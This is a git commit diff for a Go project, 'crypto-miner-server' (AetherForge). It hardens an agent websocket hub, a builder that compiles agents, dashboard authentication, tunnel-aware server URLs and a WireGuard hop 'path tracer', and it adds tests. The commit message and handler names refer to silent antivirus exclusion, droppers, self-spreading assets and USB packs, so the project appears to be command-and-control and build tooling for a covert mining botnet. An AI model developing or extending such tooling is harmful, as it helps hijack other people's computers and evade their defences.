Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -32,6 +32,9 @@ func allowAgentWSUpgrade(clientIP string) bool {
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
if len(filtered) == 0 {
|
||||
delete(agentWSRateLim.attempts, clientIP)
|
||||
}
|
||||
if len(filtered) >= agentWSRateLimitMax {
|
||||
agentWSRateLim.attempts[clientIP] = filtered
|
||||
return false
|
||||
|
||||
@@ -49,8 +49,8 @@ func TestAuthCacheHitAndMiss(t *testing.T) {
|
||||
|
||||
func TestGenerateRandomPasswordLength(t *testing.T) {
|
||||
pw := generateRandomPassword()
|
||||
if len(pw) != 8 {
|
||||
t.Fatalf("expected 8-char hex password, got len %d (%q)", len(pw), pw)
|
||||
if len(pw) != 16 {
|
||||
t.Fatalf("expected 16-char hex password (8 random bytes), got len %d (%q)", len(pw), pw)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -70,6 +70,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
webRoot := filepath.Join(dataDir, "webroot")
|
||||
@@ -77,7 +78,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -489,6 +490,14 @@ func TestIntegrationBuilderRoutes(t *testing.T) {
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
|
||||
}
|
||||
|
||||
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
|
||||
if rec.Code == http.StatusNotFound {
|
||||
t.Fatal("builder/path-forge route not registered")
|
||||
}
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntegrationBlueprintsCRUD(t *testing.T) {
|
||||
|
||||
@@ -106,12 +106,7 @@ func (h *PathTracerHandler) expireSessions() {
|
||||
h.mu.Unlock()
|
||||
for _, sess := range expired {
|
||||
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
h.teardownHops(sess.Hops)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -131,6 +126,23 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
seen := make(map[string]bool, len(req.AgentIDs))
|
||||
for _, id := range req.AgentIDs {
|
||||
id = strings.TrimSpace(id)
|
||||
if id == "" {
|
||||
http.Error(w, "agent_ids required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if seen[id] {
|
||||
http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
seen[id] = true
|
||||
if !h.hub.isAgentConnected(id) {
|
||||
http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
clientPriv, clientPub, err := generateServerWGKeyPair()
|
||||
if err != nil {
|
||||
@@ -146,11 +158,14 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
clientPubKey: clientPub,
|
||||
}
|
||||
|
||||
// Build hops with placeholder names (agent name lookup below).
|
||||
for i, id := range req.AgentIDs {
|
||||
agentName := fmt.Sprintf("hop-%d", i+1)
|
||||
if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
|
||||
agentName = ag.Name
|
||||
}
|
||||
sess.Hops = append(sess.Hops, &HopInfo{
|
||||
AgentID: id,
|
||||
AgentName: fmt.Sprintf("hop-%d", i+1),
|
||||
AgentName: agentName,
|
||||
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
||||
Port: 51820,
|
||||
Status: HopPending,
|
||||
@@ -239,13 +254,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// Tell all agents to tear down.
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
h.teardownHops(sess.Hops)
|
||||
|
||||
h.mu.Lock()
|
||||
delete(h.sessions, id)
|
||||
@@ -326,6 +335,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = r.err
|
||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
||||
} else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = "missing public key or external IP"
|
||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
|
||||
} else {
|
||||
r.hop.PublicKey = r.pub
|
||||
r.hop.ExternalIP = r.ip
|
||||
@@ -347,6 +360,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
h.mu.Unlock()
|
||||
if anyFailed {
|
||||
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
||||
h.teardownHops(sess.Hops)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -430,11 +444,24 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
if allReady {
|
||||
sess.Ready = true
|
||||
}
|
||||
hops := sess.Hops
|
||||
h.mu.Unlock()
|
||||
if !allReady {
|
||||
h.teardownHops(hops)
|
||||
}
|
||||
|
||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
|
||||
for _, hop := range hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
||||
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
||||
var peers []map[string]interface{}
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/gorilla/websocket"
|
||||
@@ -367,6 +368,52 @@ func TestPathTracerBuildClientConfig(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerStartResolvesAgentName(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "trace-agent-named"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID,
|
||||
Name: "Edge Node Alpha",
|
||||
Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
|
||||
// WS auth overwrites name with hostname; restore operator label for resolution test.
|
||||
if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body := `{"agent_ids":["` + agentID + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var startResp struct {
|
||||
Hops []HopInfo `json:"hops"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(startResp.Hops) != 1 {
|
||||
t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
|
||||
}
|
||||
if startResp.Hops[0].AgentName != "Edge Node Alpha" {
|
||||
t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerStartValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
|
||||
@@ -375,4 +422,20 @@ func TestPathTracerStartValidation(t *testing.T) {
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
dupBody := `{"agent_ids":["agent-a","agent-a"]}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Start(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
offlineBody := `{"agent_ids":["offline-agent"]}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Start(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,6 +55,7 @@ func authCacheHit(user, pass string) bool {
|
||||
func authCacheSet(user, pass string) {
|
||||
key := authCacheKey(user, pass)
|
||||
authSessionCacheMu.Lock()
|
||||
defer authSessionCacheMu.Unlock()
|
||||
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
||||
// Prune expired entries opportunistically.
|
||||
if len(authSessionCache) > 512 {
|
||||
@@ -65,7 +66,6 @@ func authCacheSet(user, pass string) {
|
||||
}
|
||||
}
|
||||
}
|
||||
authSessionCacheMu.Unlock()
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -356,7 +356,7 @@ func validateDashboardUsername(username string) error {
|
||||
}
|
||||
|
||||
func generateRandomPassword() string {
|
||||
b := make([]byte, 4)
|
||||
b := make([]byte, 8)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return "aether1!"
|
||||
}
|
||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -538,7 +538,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if publicURLOverride != nil {
|
||||
override = publicURLOverride()
|
||||
}
|
||||
GetServerInfo(w, r, override, listenPort)
|
||||
tunnelReady := false
|
||||
if cloudflaredConfigured != nil {
|
||||
tunnelReady = cloudflaredConfigured()
|
||||
}
|
||||
GetServerInfo(w, r, override, listenPort, tunnelReady)
|
||||
})
|
||||
|
||||
// Dashboard
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -5,26 +5,41 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
cachedLocalIPs []string
|
||||
cachedLocalIPsAt time.Time
|
||||
cachedLocalIPsMu sync.Mutex
|
||||
localIPsCacheTTL = 30 * time.Second
|
||||
)
|
||||
|
||||
type ServerInfo struct {
|
||||
Port int `json:"port"`
|
||||
Host string `json:"host"`
|
||||
LocalIPs []string `json:"local_ips"`
|
||||
SuggestedURL string `json:"suggested_url"`
|
||||
DashboardURL string `json:"dashboard_url"`
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
Port int `json:"port"`
|
||||
Host string `json:"host"`
|
||||
LocalIPs []string `json:"local_ips"`
|
||||
LANURL string `json:"lan_url"`
|
||||
TunnelURL string `json:"tunnel_url,omitempty"`
|
||||
CloudflaredConfigured bool `json:"cloudflared_configured"`
|
||||
SuggestedURL string `json:"suggested_url"`
|
||||
DashboardURL string `json:"dashboard_url"`
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
}
|
||||
|
||||
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
|
||||
// lan_url is always the LAN http endpoint for workers on the same network.
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
|
||||
if listenPort <= 0 {
|
||||
listenPort = 8989
|
||||
}
|
||||
|
||||
localIPs := listLocalIPv4()
|
||||
localIPs := listLocalIPv4Cached()
|
||||
lanURL := lanURLFromIPs(localIPs, listenPort)
|
||||
tunnelURL := tunnelURLFromRequest(r)
|
||||
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
||||
|
||||
host := r.Host
|
||||
@@ -37,17 +52,40 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
|
||||
}
|
||||
|
||||
info := ServerInfo{
|
||||
Port: port,
|
||||
Host: host,
|
||||
LocalIPs: localIPs,
|
||||
SuggestedURL: suggestedURL,
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
Port: port,
|
||||
Host: host,
|
||||
LocalIPs: localIPs,
|
||||
LANURL: lanURL,
|
||||
TunnelURL: tunnelURL,
|
||||
CloudflaredConfigured: cloudflaredConfigured,
|
||||
SuggestedURL: suggestedURL,
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
}
|
||||
|
||||
writeJSON(w, info)
|
||||
}
|
||||
|
||||
func lanURLFromIPs(localIPs []string, listenPort int) string {
|
||||
if len(localIPs) == 0 {
|
||||
return ""
|
||||
}
|
||||
return formatBaseURL("http", localIPs[0], listenPort)
|
||||
}
|
||||
|
||||
func tunnelURLFromRequest(r *http.Request) string {
|
||||
scheme := requestScheme(r)
|
||||
if scheme != "https" {
|
||||
return ""
|
||||
}
|
||||
host := requestHost(r)
|
||||
hostOnly, port := hostAndPort(host, scheme)
|
||||
if isLoopbackHost(hostOnly) {
|
||||
return ""
|
||||
}
|
||||
return formatBaseURL(scheme, hostOnly, port)
|
||||
}
|
||||
|
||||
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
||||
if norm := normalizePublicURL(publicOverride); norm != "" {
|
||||
return norm
|
||||
@@ -141,6 +179,21 @@ func httpToWS(base string) string {
|
||||
return "ws://" + strings.TrimPrefix(base, "http://")
|
||||
}
|
||||
|
||||
func listLocalIPv4Cached() []string {
|
||||
cachedLocalIPsMu.Lock()
|
||||
defer cachedLocalIPsMu.Unlock()
|
||||
if cachedLocalIPs != nil && time.Since(cachedLocalIPsAt) < localIPsCacheTTL {
|
||||
out := make([]string, len(cachedLocalIPs))
|
||||
copy(out, cachedLocalIPs)
|
||||
return out
|
||||
}
|
||||
cachedLocalIPs = listLocalIPv4()
|
||||
cachedLocalIPsAt = time.Now()
|
||||
out := make([]string, len(cachedLocalIPs))
|
||||
copy(out, cachedLocalIPs)
|
||||
return out
|
||||
}
|
||||
|
||||
func listLocalIPv4() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
@@ -187,6 +240,9 @@ func parsePort(s string) int {
|
||||
return 8989
|
||||
}
|
||||
n = n*10 + int(ch-'0')
|
||||
if n > 65535 {
|
||||
return 8989
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
return 8989
|
||||
|
||||
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989)
|
||||
GetServerInfo(rec, req, "", 8989, false)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
@@ -71,7 +71,7 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443", 8989, false)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
@@ -91,7 +91,7 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
||||
req.Header.Set("X-Forwarded-Proto", "https")
|
||||
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989)
|
||||
GetServerInfo(rec, req, "", 8989, true)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
@@ -100,4 +100,31 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
||||
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
|
||||
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
|
||||
}
|
||||
if info.TunnelURL != "https://nothing.thetempleofdoom.com" {
|
||||
t.Fatalf("tunnel_url = %q, want https public endpoint", info.TunnelURL)
|
||||
}
|
||||
if !info.CloudflaredConfigured {
|
||||
t.Fatal("expected cloudflared_configured=true")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetServerInfoLANURLFromLocalhost(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "", 8989, false)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.TunnelURL != "" {
|
||||
t.Fatalf("tunnel_url should be empty on localhost, got %q", info.TunnelURL)
|
||||
}
|
||||
if len(info.LocalIPs) > 0 && info.LANURL == "" {
|
||||
t.Fatalf("expected lan_url when local IPs present: %+v", info)
|
||||
}
|
||||
if len(info.LocalIPs) > 0 && info.LANURL != formatBaseURL("http", info.LocalIPs[0], 8989) {
|
||||
t.Fatalf("lan_url = %q, want %s", info.LANURL, formatBaseURL("http", info.LocalIPs[0], 8989))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -524,7 +524,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
}
|
||||
h.db.SetAgentOffline(agentID)
|
||||
if err := h.db.SetAgentOffline(agentID); err != nil {
|
||||
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_offline",
|
||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||
@@ -753,36 +755,44 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
}
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
oldConn.Close()
|
||||
h.mu.Lock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.agents[agentID] = ac
|
||||
}
|
||||
// startPing tracks whether a new ping goroutine is needed.
|
||||
// If the same connection is re-authing (rare but possible), the existing
|
||||
// ping loop is still healthy — starting a second one would create two
|
||||
// concurrent writers racing on conn.WriteControl.
|
||||
startPing := !alreadyConnected
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
oldConn.Close()
|
||||
h.mu.Lock()
|
||||
startPing = true // fresh connection after displacing old one
|
||||
}
|
||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
// Only start a ping loop for genuinely new connections.
|
||||
if startPing {
|
||||
go h.runPingLoopAgent(ac)
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
@@ -1312,13 +1322,11 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
for id, dc := range h.dashboards {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
// Only close the connection here. HandleDashboardWS owns all map
|
||||
// cleanup via its existing defer — doing it here too would cause a
|
||||
// double-delete that corrupts the remaining-count used for the
|
||||
// presence_update broadcast (SRV-B4).
|
||||
dc.Conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, id)
|
||||
h.mu.Unlock()
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -317,6 +317,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
file.Close()
|
||||
}
|
||||
} else {
|
||||
r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
return
|
||||
@@ -529,17 +530,24 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
// cleanupBuild removes the build directory on any error path to avoid
|
||||
// accumulating partial builds (which may contain uploaded payloads or
|
||||
// a copy of the agent source tree).
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
cleanupBuild()
|
||||
log.Printf("Failed to copy agent source: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -547,6 +555,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
@@ -558,6 +567,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
|
||||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
